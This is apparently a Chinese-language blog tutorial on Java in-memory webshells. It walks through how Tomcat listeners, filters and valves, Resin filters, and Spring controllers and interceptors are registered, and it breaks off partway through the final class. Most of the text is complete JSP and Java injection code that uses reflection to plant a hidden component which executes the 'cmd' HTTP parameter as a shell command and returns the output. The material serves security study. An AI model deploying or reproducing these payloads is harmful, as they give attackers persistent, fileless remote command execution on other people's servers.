tomcat listener

ContextConfig.java

image-20250907110215346

web.xml后去所有Listener并注册,通过addApplicationListener方法,看一下这个方法。

image-20250907110436205

也就是将监听器加到applicationListeners里面完成动态添加。

看一下listener的调用流程

image-20250907153838344

image-20250907154015041image-20250907154036945

可以看到就是通过getApplicationEventListeners获取一个listener信息

根据applicationEventListenersList这个变量可以找到方法addApplicationEventListener用于添加listener

image-20250907154434122

所以反射调用这个方法即可实现动态添加内存马,写一个简单的listener内存马

package org.example.demo1;

import jakarta.servlet.ServletRequestEvent;

import jakarta.servlet.ServletRequestListener;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;

import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

public class listener1 implements ServletRequestListener {

    public listener1() {
    }

    @Override
    public void requestDestroyed(ServletRequestEvent sre) {

    }
    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        try {
            RequestFacade req = (RequestFacade) sre.getServletRequest();
            Field reqfield = RequestFacade.class.getDeclaredField("request");
            reqfield.setAccessible(true);
            Request request = (Request) reqfield.get(req);
            Response response = (Response) request.getResponse();
            if (request.getParameter("cmd") != null) {
                InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
        } catch (Exception e) {
        }
    }
}

然后把这个listener通过addApplicationEventListener添加到StandardContext

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="java.util.Scanner" %>
<%
    ServletContext context1=pageContext.getServletContext();
    System.out.println(context1.getClass().getName());

    Field field1=context1.getClass().getDeclaredField("context");
    field1.setAccessible(true);
    ApplicationContext context2= (ApplicationContext) field1.get(context1);
    System.out.println(context2.getClass().getName());

    Field field2=context2.getClass().getDeclaredField("context");
    field2.setAccessible(true);
    StandardContext context3= (StandardContext) field2.get(context2);
    System.out.println(context3.getClass().getName());

    class Listener1 implements ServletRequestListener {

        public Listener1() {
        }

        @Override
        public void requestDestroyed(ServletRequestEvent sre) {

        }

        @Override
        public void requestInitialized(ServletRequestEvent sre) {
            try {
                RequestFacade reqfacade = (RequestFacade) sre.getServletRequest();
                Field reqfield = RequestFacade.class.getDeclaredField("request");
                reqfield.setAccessible(true);
                Request request = (Request) reqfield.get(reqfacade);
                Response response = (Response) request.getResponse();
                if (request.getParameter("cmd") != null) {
                    InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    response.getWriter().write(output);
                    response.getWriter().flush();
                }
            } catch (Exception e) {
            }
        }
    }

    context3.addApplicationEventListener(new Listener1());
%>

1.获取ServletContext

2.获取StandardContext

3.调用addApplicationEventListener添加恶意listener

tomcat filter

filter是通过filter chain实现的,如果又filter拦截器,必须先经过拦截器才能到达servlet

image-20250908100458618

写个demo分析调用栈

package org.example.demo1;
import jakarta.servlet.*;
import java.io.IOException;
public class filter1 implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        Filter.super.init(filterConfig);
    }
    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        System.out.println("do filter1");
        chain.doFilter(request, response);
    }
    @Override
    public void destroy() {
        Filter.super.destroy();
    }
}

添加web.xml

<filter>
    <filter-name>filter1</filter-name>
    <filter-class>org.example.demo1.filter1</filter-class>
</filter>
<filter-mapping>
    <filter-name>filter1</filter-name>
    <url-pattern>/filter1</url-pattern>
</filter-mapping>

断到chain.doFilter(request, response);

image-20250908101347688

会调用ApplicationFilterChaindoFilter方法,然后走到this.internalDoFilter(request, response);

也就是ApplicationFilterChain#internalDoFilter

image-20250908101451269

image-20250908101753173

然后调用filter.doFilter,首先是tomcat自带的filter,然后调用filter chain 的doFilter

image-20250908101842082

image-20250908101935856

之后又回到了 ApplicationFilterChain#doFilter

也就是说,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;这也就是我们的 Filter 链,是去逐个获取的。最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。

然后看一下filter是如何被加载的。

image-20250908102525473

可以从StandardWrapperValue#invoke开始看

image-20250908102755292

这里会创建一个filterChain

image-20250908103018659

这里就是判断 FilterMaps 是否为空,为空就会调用context.findFilterMaps()StandardContext寻找并且返回一个FilterMap数组。

然后遍历StandardContext.filterMaps得到filter与URL的映射关系并通过matchDispatcher()matchFilterURL()方法进行匹配,匹配成功后,还需判断StandardContext.filterConfigs中,是否存在对应filter的实例,当实例不为空时通过addFilter方法,将管理filter实例的filterConfig添加入filterChain对象中。

那么攻击点在于context.findFilterMaps(),依旧是StandardContext这个类

image-20250908103235686

StandardContext里面又三个变量和Filter相关

filterMaps
filterDefs
filterConfigs

filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系,也就是web.xml里面的filter-mapping标签。

filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据。其中filterDef就是对应web.xml中的filter标签.

filterConfigs 成员变量是一个HashMap对象,里面存储了filter名称与对应的ApplicationFilterConfig对象的键值对,在ApplicationFilterConfig对象中则存储了Filter实例以及该实例在web.xml中的注册信息。

我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的.

StandardContext#filterStart中,可以看到可以通过this.filterConfigs.put(name, filterConfig);添加filterConfigs

public boolean filterStart() {
        if (this.getLogger().isTraceEnabled()) {
            this.getLogger().trace("Starting filters");
        }

        boolean ok = true;
        synchronized(this.filterDefs) {
            this.filterConfigs.clear();
            Iterator var3 = this.filterDefs.entrySet().iterator();

            while(var3.hasNext()) {
                Map.Entry<String, FilterDef> entry = (Map.Entry)var3.next();
                String name = (String)entry.getKey();
                if (this.getLogger().isTraceEnabled()) {
                    this.getLogger().trace(" Starting filter '" + name + "'");
                }

                try {
                    ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, (FilterDef)entry.getValue());
                    this.filterConfigs.put(name, filterConfig);
                } catch (Throwable var9) {
                    Throwable t = var9;
                    Throwable throwable = ExceptionUtils.unwrapInvocationTargetException(t);
                    ExceptionUtils.handleThrowable(throwable);
                    this.getLogger().error(sm.getString("standardContext.filterStart", new Object[]{name}), throwable);
                    ok = false;
                }
            }

            return ok;
        }
    }

所以filter内存马的构造思路如下

1.获取当前的ServletContext

2.通过ServletContext获取filterConfigs

3.自定义实现恶意 filter

4.为恶意filer创建一个FilterDef

5.将filter添加到filterConfigs即可完成内存马的实现

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.lang.reflect.Method" %>
<%
  final String name = "filter1";//随便起
  //Filter马
  Filter maFilter = new Filter() {

    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
      Filter.super.init(filterConfig);
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
      HttpServletRequest req = (HttpServletRequest) request;
      if (req.getParameter("cmd") != null) {
        InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        response.getWriter().write(output);
        response.getWriter().flush();
        return;
      }
      chain.doFilter(request, response);
    }

    @Override
    public void destroy() {
      Filter.super.destroy();
    }
  };

  //构造filterMap
  FilterMap filterMap = new FilterMap();
  filterMap.addURLPattern("/*");
  filterMap.setFilterName(name);
  filterMap.setDispatcher(DispatcherType.REQUEST.name());

  //构造filterDef
  FilterDef filterDef = new FilterDef();
  filterDef.setFilterName(name);
  filterDef.setFilter(maFilter);
  filterDef.setFilterClass(maFilter.getClass().getName());

  //找StandardContext,下边构造构造filterConfig、修改filterConfigs和filterMaps要用。
  ServletContext servletContext = pageContext.getServletContext();
  Field context = servletContext.getClass().getDeclaredField("context");
  context.setAccessible(true);
  ApplicationContext appc = (ApplicationContext) context.get(servletContext);
  System.out.println(appc.getClass().getName());

  Field context2 = ApplicationContext.class.getDeclaredField("context");
  context2.setAccessible(true);
  StandardContext stc = (StandardContext) context2.get(appc);
  System.out.println(stc.getClass().getName());

  //构造filterConfig,构造方法不是public只能反射
  Constructor filterConfigConstructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
  filterConfigConstructor.setAccessible(true);
  ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) filterConfigConstructor.newInstance(stc, filterDef);

  //反射获取filterConfigs
  Field filterConfigs = stc.getClass().getDeclaredField("filterConfigs");
  filterConfigs.setAccessible(true);
  Map flcs = (Map) filterConfigs.get(stc);
  
  flcs.put(name, filterConfig);
  
  Field filterMaps = stc.getClass().getDeclaredField("filterMaps");
  filterMaps.setAccessible(true);
  Object fltmps = filterMaps.get(stc);
  Class filterMapsClass = fltmps.getClass();
  Method filterMapsAdd = filterMapsClass.getDeclaredMethod("addBefore", FilterMap.class);
  filterMapsAdd.setAccessible(true);
  filterMapsAdd.invoke(fltmps, filterMap);

%>

image-20250908105545252

Resin filter

Resin filter与Tomcat filter类似,就是获取上下文对象有点区别,Resin 通过反射获取线程中的ServletInvocation,使用它的getContextRequest方法,获取上下文对象,再通过它的实现HttpServletRequestImplgetWebApp方法获取webApp

<%@ page import="com.caucho.server.webapp.WebApp" %>
<%@ page import="com.caucho.server.dispatch.FilterConfigImpl" %>
<%@ page import="com.caucho.server.dispatch.FilterMapping" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="com.caucho.server.dispatch.FilterMapper" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%
    ClassLoader classloader = Thread.currentThread().getContextClassLoader();
    Class servletInvocationClazz = classloader.loadClass("com.caucho.server.dispatch.ServletInvocation");
    Class filterConfigImplClazz = classloader.loadClass("com.caucho.server.dispatch.FilterConfigImpl");
    Class filterMappingClazz = classloader.loadClass("com.caucho.server.dispatch.FilterMapping");
    Class filterMapperClazz = classloader.loadClass("com.caucho.server.dispatch.FilterMapper");

    Object contextRequest = servletInvocationClazz.getMethod("getContextRequest").invoke(null);
    WebApp webapp = (WebApp) contextRequest.getClass().getMethod("getWebApp").invoke(contextRequest);

    //判断是否已经注入
    String evilFilterName = "EvilFilter";
    if (webapp.getFilterRegistration(evilFilterName) != null) {
        out.println("Resin FilterMemShell Injected!!");
        return;
    }

    //创建并添加 filterConfigImpl 实例
    Filter evilFilter = new Filter() {
        @Override
        public void init(FilterConfig filterConfig) throws ServletException {
            System.out.println("EvilFilter 初始化");
        }

        @Override
        public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
            System.out.println("EvilFilter 进行过滤");
            HttpServletRequest req = (HttpServletRequest) servletRequest;
            if (req.getParameter("cmd") != null) {
                Process process = Runtime.getRuntime().exec(req.getParameter("cmd"));
                BufferedReader bf = new BufferedReader(new InputStreamReader(process.getInputStream()));
                StringBuilder result = new StringBuilder();
                String line;
                while ((line = bf.readLine()) != null) {
                    result.append(line).append("</br>");
                }
                servletResponse.getWriter().write(result.toString());
                process.destroy();
            }
            filterChain.doFilter(servletRequest, servletResponse);
        }
        @Override
        public void destroy() {
            System.out.println("EvilFilter 销毁");
        }
    };

    Class newFilterClazz = evilFilter.getClass();
    FilterConfigImpl filterConfigimpl = (FilterConfigImpl) filterConfigImplClazz.newInstance();
    filterConfigimpl.setFilterName(evilFilterName);
    filterConfigimpl.setFilter(evilFilter);
    filterConfigimpl.setFilterClass(newFilterClazz);
    webapp.addFilter(filterConfigimpl);

    //创建相应 filter 路由映射
    FilterMapping filterMapping = (FilterMapping) filterMappingClazz.newInstance();
    FilterMapping.URLPattern filterMappingUrlPattern = filterMapping.createUrlPattern();
    filterMappingUrlPattern.addText("/*");
    filterMappingUrlPattern.init();
    filterMapping.setFilterName(evilFilterName);
    filterMapping.setServletContext(webapp);

    //设置filterMapper
    Field fieldWebappFilterMapper;
    try {
        fieldWebappFilterMapper = webapp.getClass().getDeclaredField("_filterMapper");
    } catch (NoSuchFieldException Exception) {
        try {
            fieldWebappFilterMapper = webapp.getClass().getSuperclass().getDeclaredField("_filterMapper");
        } catch (NoSuchFieldException e) {
            throw new RuntimeException(e);
        }
    }
    fieldWebappFilterMapper.setAccessible(true);
    FilterMapper filtermapper = (FilterMapper) fieldWebappFilterMapper.get(webapp);
    Field fieldFilterMapperFilterMap = filterMapperClazz.getDeclaredField("_filterMap");
    fieldFilterMapperFilterMap.setAccessible(true);

    //把EvilFilter放到首位
    ArrayList<FilterMapping> newFilterMappings = (ArrayList) fieldFilterMapperFilterMap.get(filtermapper);
    newFilterMappings.add(0,filterMapping);
    fieldFilterMapperFilterMap.set(filtermapper, newFilterMappings);
    fieldWebappFilterMapper.set(webapp, filtermapper);
    out.println("Resin FilterMemShell Inject Success!!");
%>

tomcat valve

在tomcat中,从请求到处理需要经过四类容器,而消息在这四个容器里面的传输是通过管道Pipeline和阀门Valve来实现的。具体如下图

image-20250909111724927

Basic是管道中最基础的Valve,位于管道末尾,它在业务上面的表现是封装了具体的请求处理和输出响应。和Filter类似,可以在管道中添加valve,通过addValve

Tomcat四大组件Engine、Host、Context和Wrapper都有其对应Valve类,分别是:

  • StandardEngineValve
  • StandardHostValve
  • StandardContextValve
  • StandardWrapperValve

写一个简单的阀,他继承ValveBase

package org.example.demo1;

import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServletRequest;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
import org.apache.catalina.valves.ValveBase;

import java.io.IOException;

public class valve1 extends ValveBase {
    @Override
    public void invoke(Request request, Response response) throws IOException, ServletException {
        HttpServletRequest req = request.getRequest();
        String cmd = req.getParameter("cmd");
        if (cmd != null){
            Runtime.getRuntime().exec(cmd);
        }
    }
}

然后想办法添加到Context

image-20250909114649471

查找addValve的实现类

image-20250909114717566

找到StandardPipeline#addValve

然后是需要知道如何获取StandardPipeline

image-20250909115049839

正好StandardContext存在getPipeline方法,后面也就跟listener,filter类似,步骤如下

1.获取StandardContext

2.编写恶意Valve

3.通过getPipeline().addValve()注册Valve

然后后面恶意代码直接在Valve的invoke实现即可

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%
    class valve1 extends ValveBase {

        @Override
        public void invoke(Request request, Response response) throws IOException, ServletException {
            HttpServletRequest req = request.getRequest();
            String cmd = req.getParameter("cmd");
            if (cmd != null){
                Runtime.getRuntime().exec(cmd);
            }
        }
    };

    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request req = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();
    Pipeline pipeline = standardContext.getPipeline();
    valve1 valve1 = new valve1();
    pipeline.addValve(valve1);


%>

image-20250909115834646

Spring controller

贴个图先 Spring MVC的控制流程

img

当服务端接收到客户端的请求后,会调用HandlerMapping找对应的Controller处理逻辑。其实这个HandlerMapping是指RequestMappingHandlerMapping。Spring会把Controller解析成RequestMappingInfo对象,然后再注册进RequestMappingHandlerMapping中。所以注册Controller内存马需要获取RequestMappingHandlerMapping,然后向其中注册恶意 Controller。

首先是如何获取上下文,有四种方法

1.getCurrentWebApplicationContext

WebApplicationContext context1 = ContextLoader.getCurrentWebApplicationContext();

getCurrentWebApplicationContext 获得的是一个 XmlWebApplicationContext 实例类型的 Root WebApplicationContext

2.WebApplicationContextUtils

WebApplicationContext context2 = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());

通过这种方法获得的也是一个Root WebApplicationContext。其中 WebApplicationContextUtils.getWebApplicationContext 函数也可以用 WebApplicationContextUtils.getRequiredWebApplicationContext来替换。

3.RequestContextUtils

WebApplicationContext context3 = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());

通过 ServletRequest 类的实例来获得 Child WebApplicationContext

4.getAttribute

WebApplicationContext context4 = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

Spring 2.5 开始到 Spring 3.1 之前一般使用org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping注册映射路由

Spring 3.1 开始及以后一般开始使

org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping来支持@Contoller和@RequestMapping注解

RequestMappingHandlerMapping注册恶意控制器流程如下

// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean

RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);

// 2. 通过反射获得自定义 controller 中唯一的 Method 对象

Method method = (Class.forName("evilMethod").getDeclaredMethods())[0];

// 3. 定义访问 controller 的 URL 地址

PatternsRequestCondition url = new PatternsRequestCondition("/hahaha");

// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)

RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();

// 5. 在内存中动态注册 controller

RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);

r.registerMapping(info, Class.forName("恶意Controller").newInstance(), method);

在其父类 AbstractHandlerMapping中其实还有一个方法可以用来注册路由映射–detectHandlerMethods

protected void detectHandlerMethods(final Object handler) {
		Class<?> handlerType =
				(handler instanceof String ? getApplicationContext().getType((String) handler) : handler.getClass());

		// Avoid repeated calls to getMappingForMethod which would rebuild RequestMappingInfo instances
		final Map<Method, T> mappings = new IdentityHashMap<Method, T>();
		final Class<?> userType = ClassUtils.getUserClass(handlerType);

		Set<Method> methods = HandlerMethodSelector.selectMethods(userType, new MethodFilter() {
			@Override
			public boolean matches(Method method) {
				T mapping = getMappingForMethod(method, userType);
				if (mapping != null) {
					mappings.put(method, mapping);
					return true;
				}
				else {
					return false;
				}
			}
		});

		for (Method method : methods) {
			registerHandlerMethod(handler, method, mappings.get(method));
		}
	}

逻辑为接受一个任意类型的 handler 参数,然后在 IOC 容器中找寻这个名字 bean 进行注册

DefaultAnnotationHandlerMapping注册Controller流程如下

protected void registerHandler(String urlPath, Object handler) throws BeansException, IllegalStateException {
	Assert.notNull(urlPath, "URL path must not be null");
	Assert.notNull(handler, "Handler object must not be null");
	Object resolvedHandler = handler;

	// Eagerly resolve handler if referencing singleton via name.
	if (!this.lazyInitHandlers && handler instanceof String) {
		String handlerName = (String) handler;
		ApplicationContext applicationContext = obtainApplicationContext();
		if (applicationContext.isSingleton(handlerName)) {
			resolvedHandler = applicationContext.getBean(handlerName);
		}
	}

	Object mappedHandler = this.handlerMap.get(urlPath);
	if (mappedHandler != null) {
		if (mappedHandler != resolvedHandler) {
			throw new IllegalStateException(
					"Cannot map " + getHandlerDescription(handler) + " to URL path [" + urlPath +
					"]: There is already " + getHandlerDescription(mappedHandler) + " mapped.");
		}
	}
	else {
		if (urlPath.equals("/")) {
			if (logger.isTraceEnabled()) {
				logger.trace("Root mapping to " + getHandlerDescription(handler));
			}
			setRootHandler(resolvedHandler);
		}
		else if (urlPath.equals("/*")) {
			if (logger.isTraceEnabled()) {
				logger.trace("Default mapping to " + getHandlerDescription(handler));
			}
			setDefaultHandler(resolvedHandler);
		}
		else {
			this.handlerMap.put(urlPath, resolvedHandler);
			if (logger.isTraceEnabled()) {
				logger.trace("Mapped [" + urlPath + "] onto " + getHandlerDescription(handler));
			}
		}
	}
}

低版本Spring已不常用,主要针对RequestMappingHandlerMapping方式进行攻击

package com.example.demo;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Scanner;

@Controller
public class evilController {

    @RequestMapping("/controller1")
    @ResponseBody
    public String Spring_Controller() throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException {
        System.out.println("i am in");
        // 获取当前上下文环境
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);

        // 手动注册Controller
        // 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例
        RequestMappingHandlerMapping r = context.getBean(RequestMappingHandlerMapping.class);
        // 2. 通过反射获得自定义 controller 中唯一的 Method 对象
        Method method = controller1.class.getDeclaredMethod("shell", HttpServletRequest.class, HttpServletResponse.class);
        // 3. 定义访问 controller 的 URL 地址
        PatternsRequestCondition url = new PatternsRequestCondition("/shell");
        // 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 5. 在内存中动态注册 controller
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
        // 注意:这里将 new Controller_Shell() 改为 new controller1(),
        // 因为你的代码中只定义了 controller1 这个内部类。
        r.registerMapping(info, new controller1(), method);
        return "controller inject success";
    }
    public class controller1 {
        public void shell(HttpServletRequest request, HttpServletResponse response) throws IOException {
            if (request.getParameter("cmd") != null) {
                boolean isLinux = true;
                String osTyp = System.getProperty("os.name");
                if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                    isLinux = false;
                }
                String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
                InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
        }
    }
}

image-20250916124145886

image-20250916124215311

Spring Interceptor

可以理解为Tomcat里面的filter,可以拦截过滤用户请求。实现自定义的Interceptor有两种方法

1.实现HandlerInterceptor接口或者继承该接口的实现类

2.实现WebRequestInterceptor或继承它的实现类

HandlerInterceptor

image-20250915171958105

HandlerInterceptor接口有三个方法,分别是在处理请求前,处理请求后处理视图前,处理视图之后执行,都可以用来写内存马

image-20250915173527442

WebRequestInterceptor同理

测试一下HandlerInterceptor#preHandle

image-20250915173445452

在处理请求前获取cmd参数执行命令

image-20250915173659526

看下调用栈

preHandle:16, myinterceptor (com.example.demo)
applyPreHandle:151, HandlerExecutionChain (org.springframework.web.servlet)
doDispatch:1035, DispatcherServlet (org.springframework.web.servlet)
doService:943, DispatcherServlet (org.springframework.web.servlet)
processRequest:1006, FrameworkServlet (org.springframework.web.servlet)
doGet:898, FrameworkServlet (org.springframework.web.servlet)
service:626, HttpServlet (javax.servlet.http)
service:883, FrameworkServlet (org.springframework.web.servlet)
service:733, HttpServlet (javax.servlet.http)
internalDoFilter:227, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilter:53, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:100, RequestContextFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:93, FormContentFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
doFilterInternal:201, CharacterEncodingFilter (org.springframework.web.filter)
doFilter:119, OncePerRequestFilter (org.springframework.web.filter)
internalDoFilter:189, ApplicationFilterChain (org.apache.catalina.core)
doFilter:162, ApplicationFilterChain (org.apache.catalina.core)
invoke:202, StandardWrapperValve (org.apache.catalina.core)
invoke:97, StandardContextValve (org.apache.catalina.core)
invoke:542, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:143, StandardHostValve (org.apache.catalina.core)
invoke:92, ErrorReportValve (org.apache.catalina.valves)
invoke:78, StandardEngineValve (org.apache.catalina.core)
service:357, CoyoteAdapter (org.apache.catalina.connector)
service:374, Http11Processor (org.apache.coyote.http11)
process:65, AbstractProcessorLight (org.apache.coyote)
process:893, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1707, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

先经过Tomcat的filter,然后发给SpringMVC的DispatcherServlet处理

doDispatch里面调用了getHandler

image-20250916124834407

image-20250915175137294

调试发现进入了AbstractHandlerMapping#getHandler

image-20250916124934256

然后调用AbstractHandlerMapping#getHandlerExecutionChain

image-20250916125024800

显示找到路由的handler然后循环添加interceptor

image-20250916125107477

image-20250915181038551

然后回去执行applyPreHandle

image-20250915181121883

循环执行每个interceptor的preHandle方法,恶意代码在这里被调用,后面就是执行handler了。

然后分析下如何注册一个interceptor内存马。

经上面interceptor触发分析可知,interceptor从mappedInterceptors获取根据路由寻找 添加到chain里,所以反射将内存马注册进去即可。

获取applicationContext跟controller一样,有四种方法

package com.example.demo;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;

import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.List;


@RestController
public class inject {

    @RequestMapping("/inject")
    @ResponseBody
    public String inject(){
        try{
            // 获取context
            WebApplicationContext applicationContext = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
            // 从context中获得 AbstractHandlerMapping 的实例
            AbstractHandlerMapping abstractHandlerMapping = applicationContext.getBean("requestMappingHandlerMapping", AbstractHandlerMapping.class);
            // 反射获取 adaptedInterceptors 字段用于注册拦截器
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            List<HandlerInterceptor> adaptedInterceptors = (ArrayList) field.get(abstractHandlerMapping);
            //实例化恶意拦截器并注册
            myinterceptor ic = new myinterceptor();
            adaptedInterceptors.add(ic);
            return "inject success";
        }catch(Exception e){
            e.printStackTrace();
        }
        return null;
    }

    @RequestMapping("/test")
    @ResponseBody
    public String test(){
        try{
            // 获取context

            return "test";
        }catch(Exception e){
            e.printStackTrace();
        }
        return null;
    }

}
package com.example.demo;

import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.InputStream;
import java.io.PrintWriter;
import java.util.Scanner;

public class myinterceptor implements HandlerInterceptor {

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String url = request.getRequestURI();
        PrintWriter writer = response.getWriter();

        if (request.getParameter("cmd") != null) {
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[]{"sh", "-c", request.getParameter("cmd")} : new String[]{"cmd.exe", "/c", request.getParameter("cmd")};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner(in).useDelimiter("\\A");
            String output = s.hasNext() ? s.next() : "";
            response.getWriter().write(output);
            response.getWriter().flush();
        }
        return true;

    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {

    }

    @Override
